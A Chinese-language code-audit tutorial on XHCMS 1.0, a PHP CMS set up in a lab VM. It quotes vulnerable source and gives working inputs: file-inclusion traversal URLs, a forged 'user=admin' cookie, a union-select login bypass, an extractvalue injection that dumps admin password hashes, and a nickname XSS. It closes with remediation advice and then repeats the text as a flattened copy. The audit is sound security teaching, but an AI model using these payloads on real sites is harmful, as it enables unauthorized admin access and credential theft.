代码审计之熊海cms1.0代码审计
字数 1155 2025-08-15 21:33:59

熊海CMS 1.0代码审计与漏洞分析教学文档

一、环境准备

  • 操作系统:Windows 7虚拟机
  • 开发环境:phpstudy2018
  • PHP版本:5.2.17
  • Web服务器:Apache
  • 目标系统:xhcms_v1.0

二、文件包含漏洞分析

1. 前台文件包含漏洞

漏洞文件:index.php

<?php
error_reporting(0);
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file;
include('files/'.$action.'.php'); //载入相应文件
?>

漏洞分析

  • 使用addslashes()函数过滤输入,防止了单引号、双引号、反斜杠和NULL字符的注入
  • 但仍可通过路径遍历和特殊截断方式绕过

利用方法

  1. 点号(.)截断:
    http://www.xhcms.com/?r=../1.txt.
    
  2. 斜杠(/)截断(需特定长度205):
    http://www.xhcms.com/?r=../1.txt/
    

2. 后台文件包含漏洞

后台入口文件结构与前台相同,存在相同的文件包含漏洞。

三、认证绕过漏洞

1. Cookie欺骗登录后台

漏洞文件:checklogin.php

<?php
$user=$_COOKIE['user'];
if($user==""){
    header("Location: ?r=login");
    exit;
}
?>

漏洞分析

  • 仅检查cookie中user字段是否存在,无其他验证
  • 可伪造任意user值绕过登录

利用方法

  • 设置cookie: user=admin

2. 万能密码登录后台

漏洞文件:login.php

<?php
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$query="SELECT * FROM manage WHERE user='$user'";
$result=mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users=mysql_fetch_array($result);
if(!mysql_num_rows($result)) {
    // 错误处理
}else{
    $passwords=$users['password'];
    if(md5($password)<>$passwords){
        // 错误处理
    }
    // 登录成功
}
?>

漏洞分析

  • 当magic_quotes_gpc=Off时存在SQL注入
  • 密码验证在PHP端进行,可构造注入绕过

利用方法

  • 用户名:1' union select 1,2,3,md5(4),5,6,7,8#
  • 密码:4

四、SQL注入漏洞

1. 前台SQL注入

漏洞文件:files/software.php

<?php
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
?>

漏洞分析

  • 浏览计数处的UPDATE语句未使用单引号保护变量
  • 可直接注入

利用方法
报错注入示例:

http://www.xhcms.com/?r=software&cid=1 or extractvalue(1,concat(0x7e,substr((select group_concat(password) from manage),1,30),0x7e))#

2. 其他注入点

file/content.php存在相同漏洞。

五、XSS漏洞

1. 评论XSS漏洞

漏洞文件:file/submit.php

$content= addslashes(strip_tags($content)); //过滤HTML

漏洞分析

  • 评论内容经过strip_tags和addslashes过滤
  • 但昵称字段未充分过滤,仍可XSS

六、防御建议

  1. 文件包含漏洞防御

    • 使用白名单限制包含文件
    • 禁用危险函数如include/require的动态调用
  2. 认证绕过防御

    • 使用session替代cookie存储认证信息
    • 增加token验证
  3. SQL注入防御

    • 使用预处理语句
    • 统一使用参数化查询
    • 对所有输入进行严格过滤
  4. XSS防御

    • 对所有输出进行HTML实体编码
    • 使用CSP策略限制脚本执行
  5. 其他建议

    • 升级到最新PHP版本
    • 启用magic_quotes_gpc(虽然不推荐作为唯一防护)
    • 最小化错误信息暴露

七、总结

熊海CMS 1.0存在多处高危漏洞,包括文件包含、认证绕过、SQL注入和XSS等。这些漏洞主要源于输入验证不充分、认证机制设计缺陷和不当的数据库操作方式。开发者应重视安全编码实践,对所有用户输入进行严格验证和过滤,并采用安全的编程模式。

熊海CMS 1.0代码审计与漏洞分析教学文档 一、环境准备 操作系统:Windows 7虚拟机 开发环境:phpstudy2018 PHP版本:5.2.17 Web服务器:Apache 目标系统:xhcms_ v1.0 二、文件包含漏洞分析 1. 前台文件包含漏洞 漏洞文件 :index.php 漏洞分析 : 使用addslashes()函数过滤输入,防止了单引号、双引号、反斜杠和NULL字符的注入 但仍可通过路径遍历和特殊截断方式绕过 利用方法 : 点号(.)截断: 斜杠(/)截断(需特定长度205): 2. 后台文件包含漏洞 后台入口文件结构与前台相同,存在相同的文件包含漏洞。 三、认证绕过漏洞 1. Cookie欺骗登录后台 漏洞文件 :checklogin.php 漏洞分析 : 仅检查cookie中user字段是否存在,无其他验证 可伪造任意user值绕过登录 利用方法 : 设置cookie: user=admin 2. 万能密码登录后台 漏洞文件 :login.php 漏洞分析 : 当magic_ quotes_ gpc=Off时存在SQL注入 密码验证在PHP端进行,可构造注入绕过 利用方法 : 用户名: 1' union select 1,2,3,md5(4),5,6,7,8# 密码: 4 四、SQL注入漏洞 1. 前台SQL注入 漏洞文件 :files/software.php 漏洞分析 : 浏览计数处的UPDATE语句未使用单引号保护变量 可直接注入 利用方法 : 报错注入示例: 2. 其他注入点 file/content.php存在相同漏洞。 五、XSS漏洞 1. 评论XSS漏洞 漏洞文件 :file/submit.php 漏洞分析 : 评论内容经过strip_ tags和addslashes过滤 但昵称字段未充分过滤,仍可XSS 六、防御建议 文件包含漏洞防御 : 使用白名单限制包含文件 禁用危险函数如include/require的动态调用 认证绕过防御 : 使用session替代cookie存储认证信息 增加token验证 SQL注入防御 : 使用预处理语句 统一使用参数化查询 对所有输入进行严格过滤 XSS防御 : 对所有输出进行HTML实体编码 使用CSP策略限制脚本执行 其他建议 : 升级到最新PHP版本 启用magic_ quotes_ gpc(虽然不推荐作为唯一防护) 最小化错误信息暴露 七、总结 熊海CMS 1.0存在多处高危漏洞,包括文件包含、认证绕过、SQL注入和XSS等。这些漏洞主要源于输入验证不充分、认证机制设计缺陷和不当的数据库操作方式。开发者应重视安全编码实践,对所有用户输入进行严格验证和过滤,并采用安全的编程模式。